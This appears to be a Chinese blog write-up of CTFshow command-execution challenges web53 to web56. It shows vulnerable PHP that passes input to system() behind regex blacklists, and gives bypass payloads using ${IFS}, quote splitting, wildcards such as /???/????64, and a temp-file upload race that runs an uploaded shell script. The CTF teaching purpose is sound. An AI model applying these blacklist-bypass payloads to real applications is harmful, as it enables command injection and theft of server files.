CTFshow系列——命令执行web53-56

今天继续给大家写一篇命令执行的CTF题目讲解,好久没写应急响应和渗透测试的文章了;明天或者后天给大家写一篇,换换口味,不然也有点太枯燥了;

文章目录


Web53

还是老样子,先看代码:

bash 复制代码
<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

这里我们发现了新的部分:$d = system($c); ,这个作用是什么?

  • 作用:
    • 它会执行 system()函数,该函数会调用操作系统的命令行来执行 $c 变量中的命令。
    • system() 函数会将命令的输出直接打印到标准输出(即网页上)。
    • system() 函数的返回值是命令执行的最后一行输出,这个返回值会被赋给变量 $d。
    • 代码随后使用 echo "<br>".$d;$d 的值(也就是命令的最后一行输出)在新的一行打印出来。

所以,如果你的命令有多个输出行,你会在页面上看到完整的输出,并且最后一行会被重复显示。

随便输入命令看看结果:

发现也是直接得到flag;

注意:因为代码不存在 2>/dev/null 所以就不需要管道符|| 来隔断后面代码了(不要僵化思维,仔细观察代码)

所以payload为:

bash 复制代码
# payload
?c=t''ac${IFS}f''lag.php
?c=c''at${IFS}f''lag.php
?c=n''l${IFS}f''lag.php
?c=m''ore${IFS}f''lag.php
?c=l''ess${IFS}f''lag.php

# 不用查看源代码
?c=c\at${IFS}fl\ag.php
?c=t\ac${IFS}fl\ag.php
?c=n\l${IFS}fl\ag.php
?c=mor\e${IFS}fl\ag.php
?c=les\s${IFS}fl\ag.php

没什么好说的,直接下一关;


Web54(新知识)

bash 复制代码
<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

这里我们也是直接观察代码,发现它把我们的fla?.php或者fla*等通配符格式全部过滤了,那我们应该怎么办呢?

事实证明,之前的payload都用不了了;

没事,船到桥头自然直,所以我们也有对应的方法:

bash 复制代码
# payload
?c=vi${IFS}fla?.php

# 新payload,我也是刚了解,查看源代码
?c=paste${IFS}fla?.php

该 PHP 代码存在命令注入漏洞,但有非常严格的过滤规则。要绕过它,你需要利用不被黑名单过滤的命令,并且想办法绕过空格和 flag 关键字的限制。

  • 为什么 ?c=vi${IFS}fla?.php 可以绕过?

    • 主要基于以下两个原因:
    1. 绕过命令黑名单 :代码过滤了大量的命令,但 vi 不在其中。vi 是一个功能强大的文本编辑器,它可以用来查看文件内容,因此可以作为 catmorenl 等被过滤命令的替代品。

    2. 绕过字符过滤器

    • 空格过滤器${IFS} 这个技巧绕过了这个限制。在大多数 Shell 中,${IFS} 默认值就是空格、制表符和换行符。当你在 vifla?.php 之间使用它时,Shell 会将其扩展为一个空格,从而正确地将命令和参数分开。
    • 关键字过滤器flag 关键字被过滤了。fla?.php 利用了问号 ? 这个单字符通配符来匹配 flag 中的 g ,从而绕过了对 flag 关键字的检查。

其他绕过方法

使用其他未被过滤的命令
  • 你可以使用任何不在黑名单中的、可以显示文件内容的命令。例如,paste 就是一个不错的选择,因为它通常不在命令注入的黑名单中。
  • payload?c=paste${IFS}fla?.php

总之,在这种严格的过滤条件下,最有效的方法依然是找到一个未被过滤的命令,并利用 ${IFS} 或其他类似的 Shell 变量来传递参数

疑问:为什么fla?.php 还能匹配,不是被过滤了吗?

答:题目的正则确实过滤了许多字符和关键词,但问号 ? 并不在其中。

结果显示:

使用vi 命令,页面显示乱码,查看源代码即可

--

Web55

观察代码:

bash 复制代码
<?php

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

做多了上面的题目,你发现这题好像回到了新手村一样;

但是,我们发现它过滤了[0-9],这不说明我们不能用任何字母或者函数了吗,那还能用什么来查看flag?

  • 网上其他师傅的方法
    • 字母不可,数字可时,用通配符?替代;
    • 由于过滤了字母,但没有过滤数字,我们尝试使用/bin目录下的可执行程序。
bash 复制代码
?c=/???/????64 ????.???

获得 flag.php 的 base64 编码:

此时我的心里也是???

但还是解释一下命令: /bin/base64 flag.php

  • 原理 :这个命令之所以能够执行,是因为它符合 Linux/Unix 的 Shell 语法:
    • /bin/base64:这是命令的完整路径。在大多数基于 Linux 的系统中,base64 这个可执行程序就存放在 /bin/ 目录下。直接指定完整路径,可以确保系统能找到并运行这个命令,而不需要依赖于 $PATH 环境变量。
    • flag.php:这是 base64 命令的参数,也就是要被编码的文件名。
  • 当你在 Shell 中输入 /bin/base64 flag.php 并按下回车时,Shell 会:
    • 找到并运行 /bin/base64 这个程序。
    • 将 flag.php 作为程序的输入参数。
    • base64 程序会读取 flag.php 文件的内容,并对其进行 Base64 编码。

编码后的结果会作为标准输出,显示在你的终端屏幕上。

显示结果:

第二种方法:条件竞争

之前并未接触过这个类型的题,这里按照WP提示的方法来:

必要知识点:

  • .+/???/????????解释
    • . 匹配任意字符
    • +/:匹配一个或多个任意字符
      -*.+/:则表示匹配任意文件或目录名

  • [@-[]解释:
    • []:通配符,表示匹配括号内的任意一个字符
    • @-[]:在 ASCII 码中,@(64)到 [(91)
    • 范围:@(64)~ 大写字母 A-Z(65-90)~[(91)

构造 post 数据包:文件后缀为 .html

bash 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="https://4945a9fe-e4ff-4a90-8456-0477ae2ee4c0.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

双击打开如下图:

注意:随便上传一个文件在文件上传的过程抓包,把文件改成shell脚本,再同时去运行这个脚本,脚本在临时文件的地方(/tmp/php加6个随机的小写字母或者数字)。

首先要打开bp抓包,步骤我就不显示了:

  1. 第一步:我这里命名为 1.txt,内容显示:
bash 复制代码
#!/bin/sh
ls -a
  1. 上传我们构造的文件,使用 burpsuite 抓包(这里需要允许抓取本地的请求包):
  1. 发到重发器,添加 payload:,然后send发包:
bash 复制代码
?c=.%20/???/????????[@-[]
  1. 修改 sh 命令,读取 flag.php:
bash 复制代码
#!/bin/sh
cat flag.php

也是成功得到flag,第一次遇见,简单记录一下;

Web56

bash 复制代码
<?php
// 你们在炫技吗?

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

观察代码,发现数字和字母都被过滤了,那还怎么搞?

还能咋样,Web55的条件竞争是不就用上了吗,具体步骤就不显示了,一模一样的方法:

此处省略五百字...

总结

今天又学了一个新方法和新payload:?c=paste${IFS}fla?.php。总之常总结,常练习,多学多看。

相关推荐
Liu.7745 小时前
uniappx鸿蒙适配
前端
山有木兮木有枝_6 小时前
从代码到创作:探索AI图片生成的神奇世界
前端·coze
言兴6 小时前
秋招面试---性能优化(良子大胃袋)
前端·javascript·面试
WayneJoon.H7 小时前
CTFSHOW | 其他篇题解(一)web396-web416
sql·安全·web安全·网络安全·php
WebInfra7 小时前
Rspack 1.5 发布:十大新特性速览
前端·javascript·github
cdprinter7 小时前
安全、高效、可靠的物理隔离网络安全专用设备———信刻光盘安全隔离与文件单向导入系统!
网络·安全·web安全
雾恋8 小时前
我用 trae 写了一个菜谱小程序(灶搭子)
前端·javascript·uni-app
烛阴8 小时前
TypeScript 中的 `&` 运算符:从入门、踩坑到最佳实践
前端·javascript·typescript
Java 码农9 小时前
nodejs koa留言板案例开发
前端·javascript·npm·node.js